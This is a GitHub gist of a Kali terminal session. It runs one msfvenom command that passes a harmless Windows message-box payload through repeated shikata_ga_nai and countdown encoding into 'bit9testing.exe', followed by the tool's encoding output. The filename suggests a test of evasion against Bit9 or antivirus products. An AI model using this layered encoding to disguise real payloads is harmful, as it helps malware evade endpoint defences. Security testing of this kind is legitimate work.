Skip to content

Instantly share code, notes, and snippets.

@joenorton8014
Created October 12, 2017 01:15
Show Gist options
  • Save joenorton8014/8d961f6ca0933852335630e1af44ee51 to your computer and use it in GitHub Desktop.
Save joenorton8014/8d961f6ca0933852335630e1af44ee51 to your computer and use it in GitHub Desktop.
root@kali:~/exploits/msfvenom# msfvenom -a x86 --platform windows -p windows/messagebox TEXT="Helllllllo" -f raw -e x86/shikata_ga_nai --iterations 5 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o bit9testing.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 334 (iteration=0)
x86/shikata_ga_nai succeeded with size 361 (iteration=1)
x86/shikata_ga_nai succeeded with size 388 (iteration=2)
x86/shikata_ga_nai succeeded with size 415 (iteration=3)
x86/shikata_ga_nai succeeded with size 442 (iteration=4)
x86/shikata_ga_nai chosen with final size 442
Payload size: 442 bytes
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/countdown
x86/countdown succeeded with size 460 (iteration=0)
x86/countdown succeeded with size 478 (iteration=1)
x86/countdown succeeded with size 496 (iteration=2)
x86/countdown succeeded with size 514 (iteration=3)
x86/countdown succeeded with size 532 (iteration=4)
x86/countdown succeeded with size 550 (iteration=5)
x86/countdown succeeded with size 568 (iteration=6)
x86/countdown succeeded with size 586 (iteration=7)
x86/countdown chosen with final size 586
Payload size: 586 bytes
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 613 (iteration=0)
x86/shikata_ga_nai succeeded with size 640 (iteration=1)
x86/shikata_ga_nai succeeded with size 667 (iteration=2)
x86/shikata_ga_nai succeeded with size 694 (iteration=3)
x86/shikata_ga_nai succeeded with size 721 (iteration=4)
x86/shikata_ga_nai succeeded with size 748 (iteration=5)
x86/shikata_ga_nai succeeded with size 775 (iteration=6)
x86/shikata_ga_nai succeeded with size 802 (iteration=7)
x86/shikata_ga_nai succeeded with size 829 (iteration=8)
x86/shikata_ga_nai chosen with final size 829
Payload size: 829 bytes
Saved as: bit9testing.exe
root@kali:~/exploits/msfvenom#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment